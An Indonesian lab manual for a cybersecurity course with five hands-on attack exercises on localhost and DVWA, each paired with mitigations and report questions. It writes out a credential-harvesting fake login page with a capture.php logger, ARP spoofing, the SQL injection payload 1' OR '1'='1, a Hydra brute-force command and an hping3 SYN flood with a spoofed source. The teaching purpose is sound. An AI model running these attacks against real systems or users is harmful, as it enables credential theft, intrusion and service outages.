

MODUL PRAKTIKUM

PENGDAS SIBER— SERANGAN

Software: Kali Linux / Ubuntu WSL, DVWA, Wireshark, Apache2, Browser

Waktu: 60–90 menit per pertemuan

Prasyarat: WSL/Ubuntu sudah terinstall; tanda tangan pernyataan etika

DAFTAR ISI

1. PETUNJUK UMUM
2. PERINGATAN ETIKA
3. PRAKTIKUM 1: PHISHING DASAR
4. PRAKTIKUM 2: MAN IN THE MIDDLE ATTACK (MITM)
5. PRAKTIKUM 3: SQL INJECTION
6. PRAKTIKUM 4: BRUTE FORCE ATTACK
7. PRAKTIKUM 5: DASAR DDoS
8. RINGKASAN PERINTAH & TROUBLESHOOTING
9. KETENTUAN PENGUMPULAN

PETUNJUK UMUM

- Baca Tujuan Praktikum — Pahami target pembelajaran hari ini.
- Siapkan Environment — Jangan mulai praktik sebelum web server & database nyala.
- Kerjakan Langkah demi Langkah — Jangan loncat. Jika ada error, selesaikan dulu sebelum lanjut.
- Screenshot Setiap Bukti — Setiap perintah yang berhasil, langsung screenshot untuk laporan.
- Isi Laporan Langsung — Jawab pertanyaan sambil praktik, jangan ditumpuk di akhir.

PERINGATAN ETIKA

Seluruh kegiatan dalam modul ini:

- **HANYA** dilakukan pada lingkungan lab / localhost / VM milik sendiri.
- **DILARANG** di jaringan kampus, hotspot umum, atau server orang lain.
- **DILARANG** menyebarkan script hasil praktikum ke media sosial.
- Pelanggaran = Sanksi akademik & hukum.

Dengan mengikuti praktikum ini, Anda menyatakan memahami dan bersedia mematuhi etika keamanan siber.

PRAKTIKUM 1: PHISHING DASAR

Durasi: 60 menit | Tingkat Kesulitan: Mudah

A. Judul Praktikum

Simulasi Halaman Login Palsu, Perekaman Kredensial, & Mitigasi HTTPS/MFA

B. Tujuan Praktikum

- Memahami cara kerja phishing dari sisi teknis.
- Membuat halaman login tiruan sederhana.
- Melihat bagaimana data korban terekam di server attacker.
- Mengenali ciri-ciri mitigasi (HTTPS, MFA, verifikasi domain).

C. Teori Singkat

Phishing adalah teknik pemalsuan halaman/web untuk mencuri kredensial. Pada praktikum ini, Anda akan membuat halaman login palsu di localhost untuk melihat seberapa mudahnya data terekam, lalu menganalisis cara pencegahannya.

D. Persiapan Environment (WAJIB)

Lakukan langkah-langkah berikut sebelum memulai praktikum:

Langkah	Perintah / Aksi	Penjelasan
1	Buka PowerShell / Terminal sebagai Administrator	Untuk menjalankan WSL
2	Jalankan: wsl	Masuk ke Ubuntu
3	Update sistem: sudo apt update && sudo apt upgrade -y	Pastikan paket terbaru
4	Install Apache & PHP: sudo apt install apache2 php libapache2-mod-php -y	Web server + PHP
5	Nyalakan Apache: sudo systemctl start apache2	Jalankan web server
6	Cek status: sudo systemctl status apache2	Pastikan active (running)
7	Cek IP lokal: ip a	Catat IP address (misal 192.168.x.x atau 127.0.0.1)

Troubleshooting:

Jika Apache tidak nyala, coba: `sudo service apache2 restart`

E. Langkah Praktikum (Detail Eksekusi)

Langkah 1 — Masuk ke Folder Web Server

Buka terminal WSL, lalu jalankan:

```
cd /var/www/html
```

Ini adalah folder root web server Apache. Semua file di sini bisa diakses via browser.

Langkah 2 — Buat Folder Khusus Praktikum

```
sudo mkdir phishing-lab  
cd phishing-lab  
sudo chown $USER:$USER .
```

Agar Anda bisa edit file tanpa sudo terus-menerus.

Langkah 3 — Buat File Halaman Login Palsu

```
nano login.html
```

Salin & tempel kode berikut, lalu simpan (Ctrl+O, Enter, Ctrl+X):

```
<!DOCTYPE html>  
<html>  
<head>  
  <title>Login - Simulasi Lab</title>  
  <style>  
    body { font-family: Arial; background: #f0f0f0;  
      display: flex; justify-content: center;  
      align-items: center; height: 100vh; }  
    .box { background: white; padding: 30px;  
      border-radius: 8px; box-shadow: 0 0 10px  
      rgba(0,0,0,0.1);  
      width: 300px; }  
    h2 { text-align: center; color: #333; }  
    input { width: 100%; padding: 10px; margin: 8px 0;  
      border: 1px solid #ccc; border-radius: 4px; }  
    button { width: 100%; padding: 10px; background: #007bff;  
      color: white; border: none; border-radius: 4px;  
      cursor: pointer; }  
    button:hover { background: #0056b3; }  
  </style>  
</head>  
<body>  
  <div class="box">  
    <h2>User Login</h2>  
    <form action="capture.php" method="POST">  
      <input type="text" name="user" placeholder="Username"  
      required>  
      <input type="password" name="pass"  
      placeholder="Password" required>  
      <button type="submit">Login</button>  
    </form>
```

```
</div>
</body>
</html>
```

Langkah 4 — Buat Script Perekam Data (capture.php)

```
nano capture.php
```

Tempel kode berikut:

```
<?php
if ($_SERVER["REQUEST_METHOD"] == "POST") {
    $user = $_POST['user'];
    $pass = $_POST['pass'];
    $data = "User: " . $user . " | Pass: " . $pass .
           " | Waktu: " . date('Y-m-d H:i:s') . "\n";
    file_put_contents("log.txt", $data, FILE_APPEND);
    // Redirect ke Google agar korban tidak curiga
    header("Location: https://www.google.com");
    exit();
}
?>
```

Simpan (Ctrl+O, Enter, Ctrl+X).

Langkah 5 — Atur Permission File

```
sudo chmod 755 /var/www/html/phishing-lab
sudo chmod 644 login.html capture.php
sudo touch log.txt
sudo chmod 666 log.txt
```

log.txt perlu writable agar PHP bisa menulis data.

Langkah 6 — Verifikasi di Browser

Buka browser Windows (Chrome/Edge). Ketik URL:

```
http://localhost/phishing-lab/login.html
```

Atau jika pakai IP WSL:

```
http://<IP-WSL-ANDA>/phishing-lab/login.html
```

Screenshot #1: Ambil screenshot tampilan halaman login palsu di browser.

Langkah 7 — Simulasi Korban Mengisi Data

Isi form dengan data dummy:

- Username: admin_test
- Password: password123

Klik tombol Login. Perhatikan apa yang terjadi di browser (redirect ke Google).

Screenshot #2: Screenshot address bar sebelum dan sesudah klik Login.

Langkah 8 — Cek Data yang Terekam di Server

Kembali ke terminal WSL, jalankan:

```
cd /var/www/html/phishing-lab
cat log.txt
```

Screenshot #3: Screenshot terminal yang menampilkan isi log.txt.

Langkah 9 — Analisis Perbedaan URL

Perhatikan address bar saat akses halaman palsu:

- Apakah ada ikon gembok?
- Apakah URL dimulai dengan https://?
- Apakah domain asli atau ada tambahan aneh?

Langkah 10 — Simulasi Mitigasi MFA (Diskusi)

Jika halaman asli memiliki MFA (One-Time Password/OTP), meskipun attacker mendapat username & password, apa yang masih melindungi akun korban? Tuliskan jawaban di laporan.

F. Hasil Praktikum (Pertanyaan & Jawaban)

PETUNJUK: Jawablah semua pertanyaan berikut berdasarkan hasil praktik. Sertakan screenshot sebagai bukti.

1 Jelaskan pengertian phishing!

Jawaban Anda:

.....

2 Sebutkan 3 jenis phishing!

Jawaban Anda:

.....

3 Mengapa pengguna mudah tertipu?

Jawaban Anda:

.....

4 Apa perbedaan HTTP dan HTTPS dalam pencegahan phishing?

Jawaban Anda:

.....

5 Sebutkan 3 cara mencegah phishing!

Jawaban Anda:

.....

6 Analisis tampilan halaman palsu Anda. Apa ciri mencurigakan? [Screenshot: Tampilan Halaman Login Palsu]

Jawaban Anda:

.....

7 Apa fungsi MFA?

Jawaban Anda:

.....

8 Apa yang terjadi di address bar saat akses halaman palsu? [Screenshot: Address Bar]

Jawaban Anda:

.....

G. Kesimpulan

Berdasarkan praktikum yang telah dilakukan, tuliskan kesimpulan Anda dalam bentuk poin-poin:

1.

- 2.
- 3.
- 4.

PRAKTIKUM 2: MAN IN THE MIDDLE ATTACK (MITM)

Durasi: 70 menit | Tingkat Kesulitan: Menengah

A. Judul Praktikum

Simulasi Penyadapan Paket dengan Wireshark & Analisis Data Plaintext

B. Tujuan Praktikum

- Memahami konsep MITM dan posisi attacker di antara komunikasi.
- Menangkap paket data menggunakan Wireshark.
- Membedakan data HTTP (plaintext) vs HTTPS (terenkripsi).
- Memahami pentingnya VPN/HTTPS.

C. Teori Singkat

MITM terjadi ketika attacker menyadap atau mengubah komunikasi antara dua pihak.

Pada praktikum ini, Anda akan menggunakan Wireshark untuk menangkap paket HTTP lokal dan melihat isi data secara langsung (plaintext).

D. Persiapan Environment

Langkah	Perintah / Aksi	Penjelasan
1	Pastikan Apache nyala: <code>sudo systemctl status apache2</code>	Untuk target HTTP
2	Install Wireshark: <code>sudo apt install wireshark -y</code>	Tool capture paket
3	Saat instalasi muncul dialog, pilih Yes untuk non-root capture	Agar user biasa bisa capture
4	Tambahkan user ke group: <code>sudo usermod -a -G wireshark \$USER</code>	Hak akses capture
5	Logout & login ulang, atau: <code>newgrp wireshark</code>	Aktifkan group baru
6	Buat halaman target: buat <code>target.html</code> di <code>/var/www/html/</code>	Target yang akan diakses

Buat file target:

```
cd /var/www/html
nano target.html
```

Isi target.html:

```
<html>
<body>
  <h1>Halaman Login HTTP (Tidak Aman)</h1>
  <form action="http-target.php" method="POST">
    User: <input type="text" name="u"><br>
    Pass: <input type="password" name="p"><br>
    <input type="submit" value="Login">
  </form>
</body>
</html>
```

Buat penerima:

```
nano http-target.php
```

Isi http-target.php:

```
<?php echo "Data diterima: " . $_POST['u']; ?>
```

E. Langkah Praktikum (Detail Eksekusi)

Langkah 1 — Cek Interface Jaringan

```
ip a
```

Catat nama interface (misal eth0, wlan0, atau lo untuk loopback).

Screenshot #1: Screenshot hasil ip a.

Langkah 2 — Jalankan Wireshark

```
wireshark &
```

(Jika tidak bisa, coba sudo wireshark)

Langkah 3 — Pilih Interface

Di Wireshark, pilih interface yang sesuai (biasanya Loopback: lo jika localhost, atau eth0 jika LAN). Klik tombol Biru (Start Capture).

Screenshot #2: Screenshot Wireshark saat memilih interface.

Langkah 4 — Filter Paket HTTP

Di kotak filter atas Wireshark, ketik:

```
http
```

Tekan Enter. Ini akan menyaring hanya paket HTTP.

Langkah 5 — Akses Halaman Target dari Browser

Buka browser Windows, ketik:

```
http://localhost/target.html
```

Isi form dengan data dummy:

- User: taruna_test
- Pass: rahasia123

Klik Login.

Langkah 6 — Amati Wireshark

Lihat jendela Wireshark. Akan muncul baris-baris paket baru.

- Cari baris dengan protocol HTTP.
- Klik kanan pada paket POST → Follow → HTTP Stream.

Screenshot #3: Screenshot Wireshark menampilkan HTTP Stream dengan data login terlihat jelas (plaintext).

Langkah 7 — Analisis Data Plaintext

Di jendela HTTP Stream, Anda akan melihat sesuatu seperti:

```
POST /http-target.php HTTP/1.1
...
u=taruna_test&p=rahasia123
```

Ini membuktikan HTTP mengirim data tanpa enkripsi.

Langkah 8 — Bandingkan dengan HTTPS

Buka tab baru browser, akses situs HTTPS (misal <https://google.com>). Coba lihat di Wireshark dengan filter tls atau ssl. Apakah data login bisa dibaca? (Tidak bisa, karena terenkripsi).

Langkah 9 — Simulasi ARP Spoofing (Opsional, Hanya di Lab Isolated)

Jika Anda menggunakan 2 VM atau 2 PC di jaringan terisolasi, Anda bisa mencoba:

```
sudo arpspoof -i eth0 -t [IP_TARGET] [IP_GATEWAY]
```

Catatan: Langkah ini hanya untuk lingkungan lab virtual yang benar-benar terisolasi dari jaringan produksi.

F. Hasil Praktikum (Pertanyaan & Jawaban)

PETUNJUK: Jawablah semua pertanyaan berdasarkan hasil praktik. Sertakan screenshot sebagai bukti.

1 Jelaskan konsep MITM!

Jawaban Anda:

.....

2 Mengapa HTTP berbahaya di jaringan publik?

Jawaban Anda:

.....

3 Apa manfaat HTTPS?

Jawaban Anda:

.....

4 Sebutkan 4 dampak MITM!

Jawaban Anda:

.....

5 Berapa IP Address interface Anda? [Screenshot: ip a]

Jawaban Anda:

.....

6 Protokol apa yang dominan saat akses HTTP?

Jawaban Anda:

.....

7 Apakah data login terlihat di Wireshark? Tunjukkan! [Screenshot: HTTP Stream]

Jawaban Anda:

.....

8 Mengapa WPA3 lebih aman dari WPA2?

Jawaban Anda:

.....

G. Kesimpulan

Berdasarkan praktikum yang telah dilakukan, tuliskan kesimpulan Anda dalam bentuk poin-poin:

- 1.
- 2.
- 3.
- 4.

PRAKTIKUM 3: SQL INJECTION

Durasi: 70 menit | Tingkat Kesulitan: Menengah

A. Judul Praktikum

Simulasi Login Bypass & Error-Based SQL Injection dengan DVWA

B. Tujuan Praktikum

- Memahami celah SQL Injection pada query tidak aman.
- Melakukan bypass login dengan payload sederhana.
- Menganalisis error database.
- Memahami mitigasi prepared statement.

C. Teori Singkat

SQL Injection terjadi saat input user langsung disisipkan ke query SQL tanpa sanitasi. Penyerang bisa memanipulasi logika query menggunakan tanda petik (') dan comment (- -).

D. Persiapan Environment (DVWA)

Langkah	Perintah / Aksi	Catatan
1	Pastikan Apache & MySQL nyala	sudo systemctl start apache2 sudo systemctl start mysql
2	Masuk ke web root: cd /var/www/html	
3	Clone DVWA: sudo git clone https://github.com/digininja/DVWA.git	Download aplikasi rentan
4	Ubahlah permission: sudo chown -R www-data:www-data DVWA	Apache bisa baca/tulis
5	Konfigurasi database: cd DVWA/config	
6	Copy config: sudo cp config.inc.php.dist config.inc.php	Buat file config aktif
7	Edit config: sudo nano config.inc.php	Sesuaikan password MySQL (biasanya root/password atau kosong)
8	Buka browser: http://localhost/DVWA	Setup database via web
9	Klik Create / Reset Database	Inisialisasi tabel DVWA
10	Login DVWA default: admin /	

	password	
--	----------	--

Troubleshooting:

Jika database error, cek apakah MySQL sudah nyala (sudo systemctl status mysql) dan password di config.inc.php sudah benar.

E. Langkah Praktikum (Detail Eksekusi)

Langkah 1 — Atur Security Level ke Low

- Login DVWA.
- Klik menu DVWA Security di sebelah kiri.
- Pilih dropdown Low.
- Klik Submit.

Screenshot #1: Screenshot halaman DVWA Security set ke Low.

Langkah 2 — Masuk ke Menu SQL Injection

Klik SQL Injection di sidebar kiri. Anda akan melihat form 'User ID'.

Langkah 3 — Input Normal (Baseline)

Ketik di form:

1

Klik Submit. Amati hasil: muncul data user dengan ID 1.

Screenshot #2: Hasil input normal.

Langkah 4 — Input Pengujian Error

Ketik di form:

1'

Klik Submit. Amati pesan error database (biasanya muncul syntax error).

Screenshot #3: Screenshot pesan error SQL.

Langkah 5 — Bypass dengan Union / Comment

Ketik di form:

1' OR '1'='1

Klik Submit. Amati hasil: biasanya muncul semua data user, bukan hanya ID 1.

Screenshot #4: Hasil bypass.

Langkah 6 — Analisis Query di Balik Layar

Bayangkan query di server DVWA:

```
SELECT first_name, last_name FROM users WHERE user_id = '$id';
```

Saat Anda input '1' OR '1'='1, query menjadi:

```
SELECT first_name, last_name FROM users WHERE user_id = '1' OR '1'='1';
```

Karena '1'='1' selalu benar, database mengembalikan semua baris.

Langkah 7 — Simulasi Perbaikan (Prepared Statement Concept)

Buat file perbandingan di /var/www/html/:

```
nano safe.php
```

Isi:

```
<?php
// Simulasi query AMAN dengan prepared statement
$user_input = "1' OR '1'='1"; // input jahat
$safe_input = intval($user_input); // konversi ke integer
echo "Input setelah sanitasi: " . $safe_input;
// Query aman: SELECT ... WHERE id = 1 (tanda petik & huruf
diabaikan)
?>
```

Akses via browser:

```
http://localhost/safe.php
```

Perhatikan bagaimana input jahat berubah menjadi angka 1.

Screenshot #5: Hasil safe.php.

F. Hasil Praktikum (Pertanyaan & Jawaban)

PETUNJUK: Jawablah semua pertanyaan berdasarkan hasil praktik. Sertakan screenshot sebagai bukti.

1 Jelaskan SQL Injection!

Jawaban Anda:

.....

2 Mengapa validasi input penting?

Jawaban Anda:

.....

3 Apa fungsi prepared statement?

Jawaban Anda:

.....

4 Sebutkan 4 dampak SQL Injection!

Jawaban Anda:

.....

5 Berapa IP/URL DVWA Anda?

Jawaban Anda:

.....

6 Apa error yang muncul saat input 1'? [Screenshot: Error DVWA]

Jawaban Anda:

.....

7 Bagaimana cara memperbaiki query rentan?

Jawaban Anda:

.....

8 Sebutkan 3 karakter khusus yang harus difilter!

Jawaban Anda:

.....

G. Kesimpulan

Berdasarkan praktikum yang telah dilakukan, tuliskan kesimpulan Anda dalam bentuk poin-poin:

- 1.
- 2.
- 3.
- 4.

PRAKTIKUM 4: BRUTE FORCE ATTACK

Durasi: 60 menit | Tingkat Kesulitan: Mudah

A. Judul Praktikum

Simulasi Percobaan Login Berulang dengan Hydra & Wordlist

B. Tujuan Praktikum

- Memahami konsep brute force.
- Membuat wordlist password.
- Mensimulasikan serangan login otomatis.
- Memahami mitigasi (strong password, CAPTCHA, logout).

C. Teori Singkat

Brute force mencoba kombinasi password secara massal. Semakin pendek password, semakin cepat ditemukan.

D. Persiapan Environment

Langkah	Perintah / Aksi
1	Pastikan DVWA nyala & bisa diakses
2	Install Hydra: <code>sudo apt install hydra -y</code>
3	Buat folder praktikum: <code>mkdir ~/brute-lab && cd ~/brute-lab</code>

E. Langkah Praktikum (Detail Eksekusi)

Langkah 1 — Buat Wordlist

```
cd ~/brute-lab
nano wordlist.txt
```

Isi dengan password lemah:

```
123456
password
admin
qwerty
letmein
welcome
monkey
dragon
master
sunshine
```

Simpan (Ctrl+O, Enter, Ctrl+X).

Screenshot #1: Isi file wordlist.txt.

Langkah 2 — Persiapkan Target (DVWA Brute Force)

- Login DVWA (<http://localhost/DVWA>).
- Set security ke Low.
- Klik menu Brute Force.
- Perhatikan URL dan form. Form meminta Username dan Password.

Langkah 3 — Simulasi Manual (5x Salah)

Coba login manual dengan password salah:

- User: admin
- Pass: 123, abc, test, hello, admin

Perhatikan pesan di DVWA:

```
Username and/or password incorrect.
```

Catat: tidak ada delay, tidak ada logout.

Screenshot #2: Pesan error setelah login salah.

Langkah 4 — Jalankan Hydra (Simulasi Otomatis)

```
cd ~/brute-lab
hydra -l admin -P wordlist.txt localhost http-post-form
"/DVWA/vulnerabilities/brute/index.php:username=^USER^&password=^PAS
S^&Login=Login:Username and/or password incorrect."
```

Penjelasan perintah:

- -l admin : username tetap 'admin'
- -P wordlist.txt : password dari file
- localhost : target
- http-post-form : metode HTTP POST
- String setelah titik dua adalah format form & string error yang menandakan gagal

Troubleshooting: Jika gagal, cek URL path DVWA Anda. Pastikan cookie/session DVWA sudah valid (Hydra butuh cookie jika ada CSRF token; di level Low biasanya tidak perlu).

Screenshot #3: Terminal Hydra saat berjalan / hasil akhir.

Langkah 5 — Analisis Hasil

Jika Hydra berhasil, akan muncul output seperti:

```
[80][http-post-form] host: localhost login: admin password: password
```

Screenshot #4: Hasil Hydra yang menemukan password.

Langkah 6 — Simulasi Mitigasi Account Lockout

Diskusi: Bagaimana jika setelah 3x gagal login, akun dikunci 15 menit? Apakah brute force masih efektif? Tuliskan analisis di laporan.

F. Hasil Praktikum (Pertanyaan & Jawaban)

PETUNJUK: Jawablah semua pertanyaan berdasarkan hasil praktik. Sertakan screenshot sebagai bukti.

1 Apa itu brute force attack?

Jawaban Anda:

.....

2 Mengapa password kuat penting?

Jawaban Anda:

.....

3 Sebutkan 4 password lemah!

Jawaban Anda:

.....

4 Apa fungsi CAPTCHA?

Jawaban Anda:

.....

5 Berapa jumlah password di wordlist Anda? [Screenshot: Wordlist]

Jawaban Anda:

.....

6 Berapa percobaan sebelum berhasil (jika ada)? Apakah akun terkunci?

Jawaban Anda:

.....

7 Apa beda dictionary attack dan simple brute force?

Jawaban Anda:

.....

8 Mengapa account lockout penting?

Jawaban Anda:

.....

G. Kesimpulan

Berdasarkan praktikum yang telah dilakukan, tuliskan kesimpulan Anda dalam bentuk poin-poin:

- 1.
- 2.
- 3.
- 4.

PRAKTIKUM 5: DASAR DDoS

Durasi: 60 menit | Tingkat Kesulitan: Menengah

A. Judul Praktikum

Simulasi Traffic Overload dengan hping3 & Apache Bench (ab)

B. Tujuan Praktikum

- Memahami konsep Distributed Denial of Service (DDoS) sebagai pembanjiran traffic.
- Melihat dampak overload pada server lokal.
- Menganalisis paket di Wireshark saat traffic tinggi.
- Memahami mitigasi (firewall, rate limiting, CDN).

C. Teori Singkat

DDoS membanjiri target dengan request/paket agar layanan menjadi lambat atau down. Pada lab ini, kita hanya mensimulasikan dari localhost ke localhost dengan jumlah request terbatas untuk melihat pola traffic.

D. Persiapan Environment

Langkah	Perintah / Aksi
1	Pastikan Apache nyala
Langkah	Perintah / Aksi
1	Pastikan Apache nyala sudo systemctl start apache2
2	Install hping3: sudo apt install hping3 -y
3	Install apache2-utils: sudo apt install apache2-utils -y
4	Siapkan 2 terminal: Terminal A (Server/Monitor), Terminal B (Attacker)

E. Langkah Praktikum (Detail Eksekusi)

Langkah 1 — Cek Target

Buka browser, pastikan bisa akses:

```
http://localhost
```

Anda akan melihat halaman default Apache ('It works!' atau directory listing).

Screenshot #1: Halaman Apache default.

Langkah 2 — Terminal A: Monitoring Server

Buka terminal baru (Terminal A), jalankan monitoring resource:

```
top
```

Biarkan berjalan. Ini akan menunjukkan penggunaan CPU & memory Apache.

Atau gunakan:

```
watch -n 1 'ps aux | grep apache2 | wc -l'
```

(Menghitung jumlah proses Apache)

Langkah 3 — Terminal B: Simulasi HTTP Flood dengan ab

```
ab -n 1000 -c 50 http://localhost/
```

Penjelasan:

- -n 1000 : total 1000 request
- -c 50 : 50 request concurrent (bersamaan)

Screenshot #2: Terminal B menampilkan hasil ab.

Perhatikan di Terminal A (top): apakah CPU naik? Apakah muncul banyak proses apache2?

Screenshot #3: Terminal A menunjukkan lonjakan proses/CPU.

Langkah 4 — Terminal B: Simulasi SYN Flood (Opsional, Loopback)

```
sudo hping3 -S -p 80 --flood -a 127.0.0.2 127.0.0.1
```

Penjelasan:

- -S : flag SYN
- -p 80 : port 80
- --flood : kirim secepat mungkin
- -a 127.0.0.2 : spoof source IP (dummy)
- 127.0.0.1 : target localhost

Biarkan berjalan 10–15 detik, lalu hentikan (Ctrl+C).

PENTING: Jangan biarkan terlalu lama. Ini hanya untuk melihat lonjakan paket.

Langkah 5 — Amati di Wireshark

- Buka Wireshark: `sudo wireshark &`

- Pilih interface Loopback: lo.
- Start capture.
- Ulangi langkah 3 atau 4 di Terminal B.
- Lihat lonjakan paket TCP/SYN di Wireshark.

Screenshot #4: Wireshark menunjukkan lonjakan paket.

Langkah 6 — Analisis Dampak

Setelah hentikan serangan, cek:

- Apakah http://localhost masih bisa dibuka browser?
- Apakah ada delay?
- Berapa Requests per second di hasil ab?

Langkah 7 — Simulasi Rate Limiting (Mitigasi)

Di Terminal A, buat file konfigurasi rate limit sederhana dengan iptables:

```
sudo iptables -A INPUT -p tcp --dport 80 -m limit --limit 25/minute
--limit-burst 100 -j ACCEPT
sudo iptables -A INPUT -p tcp --dport 80 -j DROP
```

Penjelasan: Batasi koneksi ke port 80 maksimal 25 per menit setelah burst 100.

Ulangi ab di Terminal B. Apakah hasilnya berbeda?

Screenshot #5: Hasil ab setelah rate limit.

Hapus aturan setelah praktikum:

```
sudo iptables -F
```

F. Hasil Praktikum (Pertanyaan & Jawaban)

PETUNJUK: Jawablah semua pertanyaan berdasarkan hasil praktik. Sertakan screenshot sebagai bukti.

1 Jelaskan DDoS!

Jawaban Anda:

.....

2 Apa dampak DDoS?

Jawaban Anda:

.....

3 Mengapa rate limiting penting?

Jawaban Anda:

.....

4 Apa fungsi firewall?

Jawaban Anda:

.....

5 Berapa IP target Anda?

Jawaban Anda:

.....

6 Apa yang terjadi pada jumlah paket Wireshark saat flood? [Screenshot: Wireshark]

Jawaban Anda:

.....

7 Sebutkan 3 jenis DDoS berdasarkan lapisan OSI!

Jawaban Anda:

.....

8 Apa beda CDN dan Load Balancer?

Jawaban Anda:

.....

G. Kesimpulan

Berdasarkan praktikum yang telah dilakukan, tuliskan kesimpulan Anda dalam bentuk poin-poin:

- 1.
- 2.
- 3.
- 4.

RINGKASAN PERINTAH & TROUBLESHOOTING

Perintah	Fungsi	Jika Error
sudo apt install [paket] -y	Install software	Cek koneksi internet
sudo systemctl start apache2	Nyalakan web server	sudo service apache2 restart
sudo systemctl start mysql	Nyalakan database	sudo mysql_secure_installation
cd /var/www/html	Folder web root	Pastikan permission benar
git clone https://github.com/digininja/DVWA.git	Download DVWA	Cek apakah git sudah install
nano [file]	Edit teks	Install nano: sudo apt install nano
cat [file]	Lihat isi file	
ip a	Cek IP address	
wireshark &	Buka Wireshark	Gunakan sudo wireshark
hydra -l admin -P wordlist.txt ...	Brute force	Cek path & cookie target
ab -n 1000 -c 50 [url]	Load test HTTP	Install apache2-utils
hping3 -S -p 80 --flood [target]	SYN flood	Butuh sudo
sudo iptables -F	Hapus semua aturan firewall	Hati-hati di server produksi

TIPS MENGERJAKAN LAPORAN PRAKTIKUM

- Baca pertanyaan dengan teliti — Pahami apa yang ditanyakan sebelum menjawab
- Praktik terlebih dahulu — Lakukan semua langkah praktik sebelum menjawab pertanyaan
- Screenshot sebagai bukti — Setiap jawaban harus didukung dengan screenshot yang relevan
- Jawaban singkat tapi tepat — Tidak perlu panjang lebar, yang penting akurat dan menjawab pertanyaan
- Verifikasi jawaban — Cek kembali semua jawaban sebelum dikumpulkan
- Simpan konfigurasi/file praktik — Lampirkan file .pkt, .html, atau script sebagai bukti praktik

KETENTUAN PENGUMPULAN

Format Laporan:

- Font Arial 12, spasi 1.5, margin normal
- Sertakan minimal 3 screenshot per praktikum
- Format PDF

Nama File:

```
Nama_NoAK_Laporan_Praktikum_X.pdf  
Contoh: Budi_05_Laporan_Praktikum_1.pdf
```

Lampiran:

- File .html / .php hasil praktik (jika ada)
- File .txt wordlist
- File .pkt (jika ada topologi Packet Tracer)

Selamat praktikum. Ingat: ilmu keamanan siber adalah pedang bermata dua — gunakan untuk melindungi, bukan untuk merusak.